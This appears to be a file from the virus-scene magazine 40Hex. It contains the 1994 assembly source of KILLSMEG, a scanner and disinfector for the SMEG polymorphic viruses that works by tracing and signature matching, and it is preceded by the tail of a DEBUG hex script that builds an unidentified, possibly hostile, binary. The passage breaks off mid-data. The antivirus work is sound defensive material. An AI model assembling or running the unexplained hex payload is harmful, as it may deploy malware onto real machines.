E 04A0 C3 AA 5B 57 58 48 48 2B C3 89 07 E8 CC 03 8B F5
|
||
E 04B0 83 C6 08 22 C0 75 02 4E 4E B0 75 AA 47 57 E8 AA
|
||
E 04C0 04 5B B0 E9 AA 57 47 47 8B C7 2B C3 88 47 FF E8
|
||
E 04D0 99 04 E8 AF 06 25 03 00 03 C0 74 14 50 B0 B8 0A
|
||
E 04E0 04 AA 8B 46 13 2B 46 04 03 46 1C AB E8 7C 04 58
|
||
E 04F0 05 C5 07 93 FF 17 AB 5B 8B C7 2B C3 48 48 89 07
|
||
E 0500 E8 71 04 8B C7 2B 46 04 24 0F 74 11 3C 0C 77 05
|
||
E 0510 E8 19 05 EB EE E8 6C 06 E8 C5 05 EB E6 8B C7 2B
|
||
E 0520 46 04 89 46 27 03 46 1C 8B 4E 19 2B C1 8B 5E 15
|
||
E 0530 89 07 8A 5E 1B B1 03 D2 CB 83 E3 0F 81 C3 D6 05
|
||
E 0540 8B 46 00 FF 17 8B 5E 17 89 07 5E 5B C3 8B 4E 25
|
||
E 0550 8B 7E 04 51 57 E8 2C 06 AA E2 FA 5A 59 C3 48 09
|
||
E 0560 49 09 4E 09 53 09 58 09 60 09 1B C6 B1 6C E4 39
|
||
E 0570 4E 93 4B D2 B4 2D E1 78 1E 87 27 C9 72 9C D8 36
|
||
E 0580 8D 63 E4 2D 27 1E C6 87 D2 72 48 40 F8 FC F5 F9
|
||
E 0590 40 48 F1 80 01 32 C1 F6 05 84 E9 80 01 2A EB D0
|
||
E 05A0 01 1A D9 80 D1 80 FB D0 E3 D0 CB D0 C3 D0 05 84
|
||
E 05B0 DB D0 C1 C6 C9 80 01 0A D1 F6 D9 F6 01 8A C1 C6
|
||
E 05C0 01 02 C1 80 FD 80 07 38 E1 80 D3 D0 01 22 01 12
|
||
E 05D0 01 8A 19 2A 2C 30 3E 08 40 08 41 08 43 08 46 08
|
||
E 05E0 48 08 4F 08 51 08 A9 08 AA 08 AC 08 D0 08 D2 08
|
||
E 05F0 D6 08 DD 08 08 8C 00 C8 04 00 08 8E 00 D8 04 00
|
||
E 0600 07 B8 04 FF 00 02 01 B8 04 FF 00 03 57 8A 00 80
|
||
E 0610 05 04 57 88 00 80 05 04 02 80 00 F0 04 01 11 8B
|
||
E 0620 00 C0 05 00 78 30 00 00 06 00 47 F6 00 98 04 04
|
||
E 0630 47 F6 00 90 04 04 07 40 04 FF 00 00 01 48 04 FF
|
||
E 0640 00 00 08 B0 04 FF 00 01 10 33 00 C0 05 00 47 86
|
||
E 0650 00 80 05 04 08 40 04 FF 00 00 08 48 04 FF 00 00
|
||
E 0660 07 81 00 C0 04 15 01 81 00 E8 04 15 10 02 00 C0
|
||
E 0670 05 00 10 2A 00 C0 05 00 47 FB 04 B0 04 04 47 8F
|
||
E 0680 00 80 04 04 08 50 04 FF 00 00 08 58 04 FF 00 00
|
||
E 0690 10 87 00 C0 05 00 02 40 04 FF 00 00 08 8B 00 C0
|
||
E 06A0 05 00 09 23 00 C0 05 00 10 13 24 EF 05 F0 26 CD
|
||
E 06B0 FF 71 34 12 EE 0D AD 5F 60 30 40 50 30 50 FF 42
|
||
E 06C0 43 10 CE E0 C2 00 1F 68 80 D0 D0 D0 30 C0 E0 40
|
||
E 06D0 F0 FF 00 33 14 23 EE 0D DB 5F 6F C0 20 20 F0 FF
|
||
E 06E0 64 41 2E 3F 09 80 C0 20 D0 20 40 20 20 E0 D0 C0
|
||
E 06F0 F0 FF 05 13 42 EF 0D 70 A0 80 B0 C0 B0 A0 76 C8
|
||
E 0700 80 D0 D0 C0 E0 B0 20 F0 FF 56 34 12 2E 05 D0 66
|
||
E 0710 80 3F DC D0 FF 27 41 32 EF 09 F0 40 A8 D0 D0 D0
|
||
E 0720 C0 E0 B0 30 F0 FF 32 41 32 E0 C0 08 D0 BF 60 30
|
||
E 0730 C0 4D FF 00 11 43 12 EF 0A 5F D0 30 30 C0 10 C0
|
||
E 0740 40 F0 FF 66 31 42 EF 00 A0 88 80 C0 20 20 20 20
|
||
E 0750 E0 B0 C0 B0 60 A0 C0 A0 90 B0 3C F0 F0 FF 04 12
|
||
E 0760 E8 43 08 D0 D0 C0 E0 C9 C0 20 20 F0 FF 73 31 42
|
||
E 0770 E4 0D DD B0 A0 80 B0 C0 BF 60 20 40 20 50 FF 20
|
||
E 0780 E0 C1 32 40 00 10 CF D0 C0 10 C8 C0 D0 D0 D0 20
|
||
E 0790 C0 E0 F0 FF 00 55 43 12 E3 05 D0 70 20 56 CD FF
|
||
E 07A0 47 E3 40 C1 20 00 80 B0 CF 68 D0 30 D0 D0 D0 C0
|
||
E 07B0 E0 40 F0 FF 00 11 08 26 08 16 08 1D 08 1F 08 2F
|
||
E 07C0 08 34 08 39 08 56 08 63 08 69 08 6F 08 7F 07 BF
|
||
E 07D0 06 F2 06 5E 07 A8 06 34 07 95 07 26 07 B1 06 15
|
||
E 07E0 07 A0 07 43 07 D3 06 6D 07 E0 06 09 07 FC 53 56
|
||
E 07F0 8A 5E 1B 83 E3 0F 03 DB 81 C3 B5 07 8B 7E 04 8B
|
||
E 0800 76 02 8B 4E 00 8A 56 10 AC FF 17 AA E2 FA 5E 5B
|
||
E 0810 C3 32 C2 FE C2 C3 32 D0 8A C2 FE CA C3 F6 D0 32
|
||
E 0820 C2 FE C2 FE C2 C3 32 C2 F6 D8 FE CA FE CA C3 02
|
||
E 0830 C2 FE C2 C3 2A C2 FE CA C3 32 C2 FE CA C3 F7 D8
|
||
E 0840 C3 F7 D8 03 C0 C3 F7 D8 8B C8 03 C0 03 C1 C3 F7
|
||
E 0850 D8 03 C0 03 C0 C3 B0 E9 AA 8B C7 2B 46 13 40 40
|
||
E 0860 F7 D8 C3 B8 FF E0 0A 24 C3 B8 50 C3 0A 04 C3 B0
|
||
E 0870 0E AA E8 F6 00 B8 50 CB EB F2 E8 07 03 BB CD 07
|
||
E 0880 25 0F 00 03 C0 03 D8 8B 37 AC 88 46 1B EB 55 AC
|
||
E 0890 80 FC FF 74 14 32 FF 02 C0 8A D8 81 C3 E6 05 8A
|
||
E 08A0 C6 B9 03 00 FF 17 86 E0 AA C3 D2 C8 24 07 8B DD
|
||
E 08B0 83 C3 06 D7 D2 C0 22 C9 75 13 F6 C6 40 74 0E 3C
|
||
E 08C0 03 75 04 B0 07 EB 06 3C 06 72 02 2C 02 0A E0 C3
|
||
E 08D0 D2 C8 32 C9 EB D6 E8 D1 FF 8A C6 EB F5 E8 CC FF
|
||
E 08E0 8A C6 EB EC C7 46 2B EE 05 AC 3C FF 75 02 AC C3
|
||
E 08F0 56 50 B1 04 E8 09 00 32 C9 58 E8 03 00 5E EB E9
|
||
E 0900 D2 C8 25 0F 00 75 0E 22 C9 74 04 89 7E 13 C3 C7
|
||
E 0910 46 2B 48 06 C3 50 E8 5B 00 58 03 C0 8B D8 03 C0
|
||
E 0920 03 C3 03 46 2B C7 46 2B EE 05 96 AC 8A F0 AC 86
|
||
E 0930 E0 E8 5B FF AC 86 E0 E8 55 FF AC 8A D0 25 0F 00
|
||
E 0940 03 C0 05 5E 05 93 FF 27 C3 8A 46 10 AA C3 89 7E
|
||
E 0950 15 AB C3 89 7E 17 AB C3 8B 46 11 89 46 19 AB C3
|
||
E 0960 8A C2 B1 04 D2 E8 25 0F 00 AB C3 56 BA 03 00 E8
|
||
E 0970 05 00 5E C3 BA 07 00 E8 0A 02 23 C2 40 40 91 51
|
||
E 0980 E8 9E 00 59 E2 F9 39 4E 1F 74 03 E8 2F 00 E8 1B
|
||
E 0990 00 8B 5E 23 23 DB 75 01 C3 B0 C3 AA 8B C7 2B C3
|
||
E 09A0 48 48 89 07 89 5E 21 C7 46 23 00 00 E8 D5 01 25
|
||
E 09B0 03 00 04 03 91 51 E8 73 00 59 E2 F9 C3 8B C7 8B
|
||
E 09C0 5E 1F 2B C3 FE C8 75 05 E8 61 00 EB F0 3D 7F 00
|
||
E 09D0 76 02 32 C0 88 07 C7 46 1F 00 00 C3 80 E1 F8 8B
|
||
E 09E0 DD 83 C3 06 B6 07 F6 C2 04 75 05 83 C3 03 B6 03
|
||
E 09F0 C3 E8 90 01 32 E4 22 C6 03 D8 8A 07 F6 C5 01 75
|
||
E 0A00 1F F6 44 FE 04 75 19 8A E0 24 03 3A 46 09 8A C4
|
||
E 0A10 74 0E 8A 46 09 3C 04 72 02 58 C3 80 E4 04 0A C4
|
||
E 0A20 C3 E8 60 01 80 FC C8 76 06 E9 D3 00 E8 55 01 3C
|
||
E 0A30 F0 76 03 E9 AA 00 25 1F 00 3A 46 1E 74 EE 88 46
|
||
E 0A40 1E 03 C0 05 92 05 96 AD 91 8A D1 80 E2 03 E8 33
|
||
E 0A50 01 24 03 22 C2 0A E8 8A D1 80 E2 C0 80 FA C0 8A
|
||
E 0A60 D1 74 4F E8 76 FF E8 1B 01 24 C0 0A C8 D0 C0 D0
|
||
E 0A70 C0 8A D0 E8 0E 01 24 07 0A C8 80 FA 03 74 0E 3C
|
||
E 0A80 06 75 07 B2 02 80 E1 3F EB 03 80 E5 FE E8 61 FF
|
||
E 0A90 D0 E0 D0 E0 D0 E0 0A C8 91 86 E0 AB 22 D2 75 01
|
||
E 0AA0 C3 80 FA 03 75 01 C3 E8 DA 00 24 3F AA FE CA 75
|
||
E 0AB0 F6 C3 E8 27 FF E8 39 FF 8A E5 80 E4 FE 80 FC F6
|
||
E 0AC0 75 09 F6 C1 10 74 04 32 D2 EB CB 80 E4 FC 80 FC
|
||
E 0AD0 D0 75 02 EB F2 F6 C5 01 B2 02 75 BA FE CA EB B6
|
||
E 0AE0 24 07 BB 8A 05 D7 3C 48 74 04 3C 40 75 0F 8A C8
|
||
E 0AF0 E8 91 00 24 03 8B DD 83 C3 09 D7 0A C1 AA C3 83
|
||
E 0B00 7E 1F 00 74 03 E9 B5 FE E8 79 00 80 FC 6E 77 0A
|
||
E 0B10 24 0F 0C 70 AA 89 7E 1F AA C3 83 7E 23 00 75 F0
|
||
E 0B20 E8 61 00 3C 78 76 25 B0 E9 AA 89 7E 23 AB E8 53
|
||
E 0B30 00 3C AA 76 03 E9 F4 FE 83 7E 29 00 74 F7 57 97
|
||
E 0B40 48 48 8B 7E 29 2B C7 AB 5F E9 E0 FE 83 7E 21 00
|
||
E 0B50 74 BE B0 E8 AA 83 7E 29 00 74 09 E8 26 00 24 07
|
||
E 0B60 3C 04 73 03 89 7E 29 8B C7 2B 46 21 F7 D8 AB C3
|
||
E 0B70 B4 2C CD 21 B8 E1 03 F7 E2 03 C1 91 E5 40 03 C1
|
||
E 0B80 89 46 0E C3 53 51 52 8B 46 0E B9 E1 03 F7 E1 8B
|
||
E 0B90 C8 33 D2 BB 35 00 F7 F3 03 D1 78 04 E5 40 03 D0
|
||
E 0BA0 3B 56 0E 75 06 F7 DA E5 40 33 D0 89 56 0E 92 5A
|
||
E 0BB0 59 5B C3
|
||
R CX
|
||
0AB3
|
||
W
|
||
Q
|
||
-------------------------------
|
||
|
||
40Hex Number 14 Volume 5 Issue 1 File 002
|
||
|
||
KILLSMEG (c) 1994 by Stormbringer of Phalcon/Skism
|
||
|
||
Note: This is an update to an earlier program, KILLQUEEG, which misfired
|
||
badly when it encountered SMEG.Pathogen, as Pathogen is functionally
|
||
almost IDENTICAL to Queeg and would scan the same in the old program,
|
||
but become a disaster on disinfection. KILLSMEG will scan and
|
||
disinfect both correctly, as well as most new variants. Variants
|
||
that it is not likely to be able to disinfect it will report as
|
||
a new variant of SMEG.
|
||
|
||
|
||
DISCLAIMER: Author assumes NO liabilities for any damage this software
|
||
might cause. It is not guaraunteed in any way. I have done
|
||
my best to make it secure and bug free, but it comes as is.
|
||
Use it at your own risk.
|
||
|
||
This program will find and disinfect the two SMEG viruses from specified
|
||
files in current directory. Before using, boot from a CLEAN-WRITE PROTECTED
|
||
disk, and make sure you get this program from a reliable source (source
|
||
code should be included).
|
||
|
||
I wrote this as there is currently no shareware/freeware program available
|
||
capable of disinfecting this polymorphic virus, or even reliably detecting
|
||
it. It also gives insight into one technique that can be used to detect and/
|
||
or disinfect polymorphic viruses.
|
||
|
||
I can be reached via IRC or anywhere else if ya look hard enough ;)
|
||
|
||
Greets go to: Phalcon/Skism, Trident, Trinity, Hermanni, Frisk, Frans, Jenky,
|
||
and all the rest of the virus/anti-virus community.
|
||
|
||
---------------------------
|
||
;KillSMEG (c) 1994 Stormbriner, Phalcon/Skism
|
||
;Finds and disinfects the original SMEG viruses (Pathogen and Queeg)
|
||
|
||
;Author assumes NO responsibility for any damages caused by this program
|
||
;or by the SMEG viruses themselves. This utility is simply made to find it,
|
||
;and may or may not work as it is supposed to. No garuantees.
|
||
|
||
;First phase is to look for time signatures. The seconds in any Queeg
|
||
;infected file (unless something else has changed timestamp after infection)
|
||
;is 56 seconds (1c in bits 0-4 of the time sig). All following Checks are
|
||
;done regardless of the time sig check. Pathogen marks infections by making
|
||
;the high byte in the date > 0c8h
|
||
|
||
;Second Phase on each file is to Check if it's an .EXE or a .COM.
|
||
|
||
;Third phase is to trace the program until an invalid condition is found or
|
||
;the virus is detected.
|
||
|
||
;Finally, the user is asked if s/he wishes to disinfect the virus, and
|
||
;the file is cleaned.
|
||
|
||
Strengths:
|
||
; VERY reliable detection rate from my testing.
|
||
;
|
||
; Currently only free program capable of disinfecting SMEG viruses,
|
||
; especially from .EXE files.
|
||
;
|
||
; Comes with full source code.
|
||
|
||
;Weaknesses:
|
||
; Third phase is slow(!!!), and actually executes part of program,
|
||
; although it is careful not to allow detrimental actions to be taken
|
||
; (i.e. viruses cannot go memres, etc.)
|
||
;
|
||
; Only scans current directory using user filemask.
|
||
;
|
||
; Disinfection will leave some garbage at the end of files,
|
||
; as the virus pads its hosts to the paragraph boundaries.
|
||
; This will cause self-checking programs to choke.
|
||
|
||
.model tiny
|
||
.radix 16
|
||
.code
|
||
org 100
|
||
start:
|
||
ReduceMem:
|
||
mov ah,4a
|
||
mov bx,(endfinder-start+10f)/10 ;Reduce Memory to that needed
|
||
int 21
|
||
|
||
mov sp,offset TopStack ;Set STack within memory
|
||
|
||
mov ah,09
|
||
mov dx,offset IntroMSG
|
||
int 21
|
||
|
||
cmp byte ptr ds:[80],1
|
||
ja CopyFilename
|
||
mov ah,09
|
||
mov dx,offset Instructions
|
||
int 21
|
||
mov ax,4c00
|
||
int 21
|
||
CopyFilename:
|
||
mov si,82
|
||
mov di,offset Filenamebuf
|
||
CopyFN:
|
||
lodsb
|
||
cmp al,0dh
|
||
je doneCFN
|
||
stosb
|
||
jmp CopyFN
|
||
doneCFN:
|
||
xor al,al
|
||
stosb
|
||
|
||
ComSearch:
|
||
mov ah,4e
|
||
mov dx,offset FilenameBuf
|
||
mov cx,07
|
||
FindFirstNext:
|
||
int 21
|
||
jnc SearchGood
|
||
jmp NoMoreCOMS
|
||
SearchGood:
|
||
call notifycheck
|
||
|
||
mov cx,ds:[96]
|
||
and cl,1f
|
||
cmp cl,1c ;Check time stamp (56 seconds)
|
||
jne AfterTimeCheck1
|
||
call SuspiciousTime
|
||
AfterTimeCheck1:
|
||
mov cx,ds:[98]
|
||
cmp ch,0c8
|
||
jb AfterTimeCheck
|
||
call PathTime
|
||
|
||
AfterTimeCheck:
|
||
mov ax,3d00
|
||
mov dx,9e
|
||
int 21
|
||
jnc ATCGood
|
||
jmp ErrorOpen
|
||
ATCGood:
|
||
xchg bx,ax
|
||
mov dx,offset EXECCheck
|
||
mov cx,4
|
||
mov ah,3f
|
||
int 21
|
||
mov ah,3e
|
||
int 21 ;Close File
|
||
mov ax,word ptr ds:[ExecCheck]
|
||
xor ah,al
|
||
cmp ah,('M' xor 'Z') ;Check if it's a com or exec
|
||
je ISEXE
|
||
push cs
|
||
pop es
|
||
mov di,offset JmpByte
|
||
mov si,offset ExecCheck ;Save Jump
|
||
movsb
|
||
movsw
|
||
mov byte ptr ds:[COMEXE],0
|
||
jmp short OtherChecks
|
||
ISEXE:
|
||
mov byte ptr ds:[COMEXE],1
|
||
OtherChecks:
|
||
mov Infected,0 ;Initialize to not infected
|
||
mov TraceDone,0
|
||
call LoadAndCheckFile ;Trace file
|
||
cmp Infected,1
|
||
jne FindAnotherFile
|
||
|
||
call PrintFilename
|
||
cmp Knownvir,1
|
||
je DisinfectProg
|
||
mov ah,09
|
||
mov dx,offset NewVar
|
||
int 21
|
||
jmp FindAnotherFile
|
||
|
||
DisinfectProg:
|
||
mov ah,09
|
||
mov dx,offset InfectedMSG
|
||
int 21
|
||
|
||
xor ax,ax
|
||
int 16
|
||
push ax
|
||
mov dx,offset DoneChecking
|
||
mov ah,09
|
||
int 21
|
||
pop ax
|
||
or al,20
|
||
cmp al,'y'
|
||
jne FindAnotherFile
|
||
Disinfect:
|
||
cmp comexe,1
|
||
je DisEXE
|
||
call DisinfCom
|
||
jmp short FindAnotherFile
|
||
DisEXE:
|
||
call DisinfExe
|
||
FindAnotherFile:
|
||
mov ah,4f
|
||
jmp FindFirstNext
|
||
|
||
ErrorOpen:
|
||
call PRintFilename
|
||
mov ah,09
|
||
mov dx,offset OpenError
|
||
int 21
|
||
jmp FindAnotherFile
|
||
|
||
NoMoreCOMS:
|
||
mov ax,4c00
|
||
int 21
|
||
|
||
SuspiciousTime:
|
||
call PrintFilename
|
||
mov ah,09
|
||
mov dx,offset TIMEMSG
|
||
int 21
|
||
ret
|
||
PathTime:
|
||
call printfilename
|
||
mov ah,09
|
||
mov dx,offset pathtimemsg
|
||
int 21
|
||
ret
|
||
|
||
|
||
NotifyCheck:
|
||
|
||
mov dx,offset Checking
|
||
mov ah,09
|
||
int 21
|
||
call PrintFileName
|
||
mov dx,offset DoneChecking
|
||
mov ah,09
|
||
int 21
|
||
ret
|
||
|
||
|
||
PrintFilename:
|
||
mov si,9e
|
||
PrintFN:
|
||
lodsb
|
||
or al,al
|
||
jz doneprintfn
|
||
mov ah,02
|
||
mov dl,al
|
||
int 21
|
||
jmp Printfn
|
||
DonePrintFN:
|
||
ret
|
||
|
||
LoadAndCheckFile:
|
||
push cs
|
||
pop ds
|
||
mov ax,ds:[2c]
|
||
mov EnvSeg,ax
|
||
mov ax,ds
|
||
mov word ptr [CommandTail+2],ax
|
||
mov word ptr [FCB1+2],ax
|
||
mov word ptr [FCB2+2],ax
|
||
mov ax,offset ParmData
|
||
mov word ptr [CommandTail],ax
|
||
mov word ptr [FCB1],ax
|
||
mov word ptr [FCB2],ax
|
||
|
||
mov ax,3501
|
||
int 21
|
||
mov IP01,bx
|
||
mov CS01,es ;Get int 1 vector
|
||
|
||
mov ax,2501
|
||
mov dx,offset Int01 ;And set it
|
||
int 21
|
||
mov ax,ss
|
||
mov Oldss,ax
|
||
mov oldsp,sp
|
||
push cs
|
||
pop es
|
||
|
||
LoadFile:
|
||
mov ax,4b01
|
||
mov bx,offset ParmBlock
|
||
mov dx,9e
|
||
int 21
|
||
jc ErrorExecute
|
||
SetupExec:
|
||
push cs
|
||
pop ds
|
||
mov ax,2522
|
||
mov dx,offset ExecuteTerminated
|
||
int 21 ;Set Termination address
|
||
|
||
mov ah,62
|
||
int 21
|
||
push bx bx
|
||
pop es ds
|
||
|
||
mov word ptr cs:[StartDS],bx
|
||
|
||
mov ax,cs
|
||
mov word ptr ds:[0a],offset ExecuteTerminated
|
||
mov word ptr ds:[0c],ax ;Set Termination Address
|
||
|
||
cli
|
||
mov ax,word ptr cs:[NewStack+2]
|
||
mov ss,ax
|
||
mov sp,word ptr cs:[NewStack]
|
||
sti
|
||
|
||
pushf
|
||
pop ax
|
||
or ax,0100
|
||
xor bx,bx
|
||
xor cx,cx
|
||
xor dx,dx
|
||
mov si,100
|
||
xor di,di
|
||
xor bp,bp
|
||
push word ptr cs:[NewCS]
|
||
push word ptr cs:[NewIP]
|
||
push ax
|
||
popf
|
||
retf
|
||
|
||
ExecuteTerminated:
|
||
cld
|
||
pushf
|
||
pop ax
|
||
and ax,not 100 ;ditch trapflag
|
||
push ax
|
||
popf
|
||
cli
|
||
mov ax,cs:[OldSS]
|
||
mov ss,ax
|
||
mov sp,cs:[OldSP]
|
||
sti
|
||
lds dx,dword ptr cs:[IP01]
|
||
mov ax,2501
|
||
int 21
|
||
push cs cs
|
||
pop es ds
|
||
|
||
mov ah,1a
|
||
mov dx,80 ;Reset DTA
|
||
int 21
|
||
ErrorExecute:
|
||
ret
|
||
|
||
OldSS dw 0
|
||
OldSP dw 0
|
||
|
||
|
||
Int01:
|
||
cld
|
||
push bp
|
||
mov bp,sp
|
||
add bp,2
|
||
push ax bx cx dx es ds si di
|
||
cmp cs:TraceDone,1
|
||
je DOneInt01
|
||
call CheckESDS
|
||
call CheckOPCode
|
||
jne DoneInt01
|
||
call InitScanString
|
||
call ScanMemory
|
||
call InitScanString
|
||
|
||
DoneInt01:
|
||
pop di si ds es dx cx bx ax
|
||
pop bp
|
||
iret
|
||
|
||
InitScanString:
|
||
push ds si cx
|
||
push cs
|
||
pop ds
|
||
mov si,offset QueegScan1
|
||
mov cx,EndScan1-QueegScan1
|
||
DecryptString:
|
||
xor byte ptr [si],42
|
||
inc si
|
||
loop DecryptString
|
||
pop cx si ds
|
||
ret
|
||
|
||
TerminateProgram:
|
||
mov byte ptr cs:[TraceDone],1
|
||
mov ax,4c00
|
||
int 21
|
||
|
||
CheckOpCode:
|
||
mov si,[bp+2]
|
||
mov ds,si
|
||
mov si,[bp]
|
||
cmp byte ptr dS:[si],0cdh
|
||
je NonvalidOp
|
||
cmp byte ptr ds:[si],0eah
|
||
je NonvalidOp
|
||
cmp byte ptr ds:[si],09ah
|
||
je NonvalidOp
|
||
cmp byte ptr ds:[si],0abh
|
||
je NonvalidOp
|
||
cmp byte ptr ds:[si],0adh
|
||
je NonvalidOp
|
||
mov al,byte ptr ds:[si]
|
||
and al,0f0
|
||
cmp al,60
|
||
je NonvalidOp
|
||
cmp al,90
|
||
je NonvalidOp
|
||
cmp al,0a0
|
||
je NonvalidOp
|
||
cmp word ptr ds:[si],00e8
|
||
jne ExitOpTest
|
||
cmp word ptr ds:[si+2],5800
|
||
ExitOpTest:
|
||
ret
|
||
|
||
NonValidOp:
|
||
jmp TerminatePRogram
|
||
|
||
|
||
CheckESDS:
|
||
mov ax,[bp+2]
|
||
cmp ax,word ptr cs:[NewCS]
|
||
je CSOkay
|
||
jmp TerminateProgram
|
||
CSOkay:
|
||
mov ax,[bp+2]
|
||
mov bx,ds
|
||
cmp bx,ax
|
||
jne DSNotEqualCS
|
||
CheckES:
|
||
mov bx,es
|
||
cmp bx,ax
|
||
jne ESNotEqualCS
|
||
ExitSEGCheck:
|
||
ret
|
||
DSNotEqualCS:
|
||
cmp bx,word ptr cs:[StartDS]
|
||
je CheckES
|
||
mov byte ptr cs:[TraceDone],1
|
||
jmp TerminateProgram
|
||
ESNotEqualCS:
|
||
cmp bx,word ptr cs:[StartDS]
|
||
je ExitSEGCheck
|
||
mov byte ptr cs:[TraceDone],1
|
||
jmp TerminateProgram
|
||
|
||
ScanMemory:
|
||
push cs
|
||
pop ds
|
||
mov si,offset QueegScan1
|
||
mov di,[bp+2]
|
||
mov es,di
|
||
mov di,[bp]
|
||
mov cx,800
|
||
lodsb
|
||
SearchForString:
|
||
repnz scasb
|
||
jcxz StringNotFound
|
||
push ax cx si di
|
||
mov cx,0bh
|
||
repz cmpsb
|
||
jcxz StringFound
|
||
pop di si cx ax
|
||
jmp SearchForString
|
||
StringFound:
|
||
pop di si cx ax
|
||
SaveInfo:
|
||
dec di ;ES:DI = beginning of virus
|
||
push es di
|
||
pop si ds
|
||
|
||
;ds:si+133 22 c0 75 19 bb 00 01 2e a1
|
||
MakeSureKnowVir:
|
||
cmp word ptr ds:[si+33],0c022
|
||
jne NotKnown
|
||
cmp word ptr ds:[si+39],2e01
|
||
jne NotKnown
|
||
mov byte ptr cs:[knownvir],1
|
||
jmp DoneVarCheck
|
||
NotKnown:
|
||
mov byte ptr cs:[knownvir],0
|
||
DoneVarCheck:
|
||
mov bx,si
|
||
sub bx,100
|
||
|
||
mov si,word ptr ds:[bx+13c]
|
||
add si,bx
|
||
push cs
|
||
pop es
|
||
mov di,offset COMStorage
|
||
movsw
|
||
movsb
|
||
|
||
mov si,word ptr ds:[bx+164]
|
||
add si,bx
|
||
mov di,offset EXEStack
|
||
movsw
|
||
movsw
|
||
|
||
mov si,word ptr ds:[bx+171]
|
||
add si,bx
|
||
mov di,offset EXEInstruct
|
||
movsw
|
||
movsw
|
||
MarkInfected:
|
||
mov byte ptr cs:[Infected],1
|
||
call InitScanString
|
||
jmp TerminateProgram
|
||
StringNotFound:
|
||
ret
|
||
|
||
OutOfMemory:
|
||
mov dx,offset OOM
|
||
ErrExit:
|
||
push cs
|
||
pop ds
|
||
mov ah,9
|
||
int 21
|
||
mov ax,4c02
|
||
int 21
|
||
|
||
ErrorClean:
|
||
mov dx,offset FileError
|
||
mov ah,09
|
||
push cs
|
||
pop ds
|
||
int 21
|
||
jmp Dealloc
|
||
|
||
DisinfCom:
|
||
mov ah,48
|
||
mov bx,1000
|
||
int 21
|
||
jc OutOfMemory
|
||
mov es,ax
|
||
mov dx,9e
|
||
mov ax,3d00
|
||
int 21
|
||
jc ErrorClean
|
||
xchg bx,ax
|
||
push es
|
||
pop ds
|
||
xor dx,dx
|
||
mov cx,word ptr cs:[ComJump]
|
||
add cx,3
|
||
mov ah,3f
|
||
int 21
|
||
push ax
|
||
mov ah,3e
|
||
int 21
|
||
mov ax,word ptr cs:[COMStorage]
|
||
mov word ptr ds:[0],ax
|
||
mov al,byte ptr cs:[ComStorage+2]
|
||
mov byte ptr ds:[2],al
|
||
push cs
|
||
pop ds
|
||
mov ah,3c
|
||
xor cx,cx
|
||
mov dx,9e
|
||
int 21
|
||
pop cx
|
||
jc ErrorClean
|
||
xchg bx,ax
|
||
|
||
push es
|
||
pop ds
|
||
mov ah,40
|
||
xor dx,dx
|
||
int 21
|
||
|
||
mov ah,3e
|
||
int 21
|
||
DeAlloc:
|
||
mov ah,49
|
||
int 21
|
||
push cs cs
|
||
pop es ds
|
||
ret
|
||
|
||
EXEErrorClean:
|
||
mov dx,offset FileError
|
||
mov ah,09
|
||
push cs
|
||
pop ds
|
||
int 21
|
||
ret
|
||
|
||
|
||
DisinfEXE:
|
||
int 3
|
||
mov ah,41
|
||
mov dx,offset TMPFile
|
||
int 21
|
||
|
||
push cs cs
|
||
pop es ds
|
||
mov dx,9e
|
||
mov ax,3d02 ;open file
|
||
int 21
|
||
jnc EXECOpenGood
|
||
jmp EXEErrorClean
|
||
ExecOpenGood:
|
||
xchg bx,ax
|
||
mov cx,20
|
||
mov ah,3f
|
||
mov dx,offset ExecHeader
|
||
int 21
|
||
mov di,offset Execheader+0e
|
||
mov si,offset ExeStack
|
||
movsw
|
||
movsw
|
||
xor bp,bp
|
||
mov di,offset execheader+14
|
||
mov dx,[di+2] ;DX:AX = new filesize kinda
|
||
mov ax,[di]
|
||
mov cl,4
|
||
shl dx,cl
|
||
adc bp,0
|
||
add ax,dx
|
||
adc bp,0
|
||
mov dx,bp ;DX:AX = filesize w/o header
|
||
mov cx,word ptr [execheader+08]
|
||
shl cx,1
|
||
shl cx,1
|
||
shl cx,1
|
||
shl cx,1
|
||
add ax,cx
|
||
adc dx,0 ;Header now calculated in
|
||
mov ExeSizeHigh,dx
|
||
mov ExeSizeLow,ax
|
||
and ax,1ff ;modulo 512
|
||
mov word ptr [execheader+2],ax
|
||
mov ax,EXESizeLow
|
||
mov cx,7
|
||
shl dx,cl
|
||
mov word ptr [execheader+4],dx
|
||
mov cx,9
|
||
add ax,1ff
|
||
shr ax,cl
|
||
add word ptr [execheader+4],ax
|
||
|
||
mov si,offset ExeInstruct
|
||
movsw
|
||
movsw
|
||
|
||
mov ax,4200
|
||
xor cx,cx
|
||
xor dx,dx
|
||
int 21
|
||
mov ah,40
|
||
mov dx,offset execheader
|
||
mov cx,20
|
||
int 21
|
||
mov ah,3e
|
||
int 21
|
||
|
||
mov ah,56
|
||
mov dx,9e
|
||
mov di,offset TmpFile ;Rename file
|
||
int 21
|
||
|
||
mov ah,3c
|
||
mov dx,9e
|
||
xor cx,cx
|
||
int 21
|
||
mov Dest,ax
|
||
mov ax,3d00
|
||
mov dx,offset TmpFile
|
||
int 21
|
||
mov Source,ax
|
||
|
||
CopyLoop:
|
||
mov cx,400
|
||
cmp word ptr [EXESizeHIgh],0
|
||
jne FullSize
|
||
cmp word ptr [ExeSizeLow],400
|
||
ja FullSize
|
||
mov cx,word ptr [ExeSizeLow]
|
||
FullSize:
|
||
sub word ptr [ExeSizeLow],400
|
||
sbb word ptr [ExeSizeHigh],0
|
||
mov ah,3f
|
||
mov bx,Source
|
||
mov dx,offset CopyBuffer
|
||
int 21
|
||
|
||
mov cx,ax
|
||
mov ah,40
|
||
mov bx,Dest
|
||
mov dx,offset CopyBuffer
|
||
int 21
|
||
|
||
cmp ax,400
|
||
je CopyLoop
|
||
|
||
CloseUP:
|
||
mov ah,3e
|
||
mov bx,Dest
|
||
int 21
|
||
mov ah,3e
|
||
mov bx,Source
|
||
int 21
|
||
DoneDis:
|
||
mov ah,41
|
||
mov dx,offset TMPFile
|
||
int 21
|
||
ret
|
||
|
||
Source dw 0
|
||
Dest dw 0
|
||
OldInt01:
|
||
IP01 dw 0
|
||
CS01 dw 0
|
||
|
||
TraceDone db 0
|
||
StartDS dw 0
|
||
|
||
|
||
ParmBlock:
|
||
EnvSeg dw 0
|
||
CommandTail dd 0
|
||
FCB1 dd 0
|
||
FCB2 dd 0
|
||
NewStack dd 0
|
||
NewIP dw 0
|
||
NEWCS dw 0
|
||
|
||
Tmpfile db 'KQTMP',0
|
||
NewVar db ' - New Variant of SMEG!',0a,0dh,24
|
||
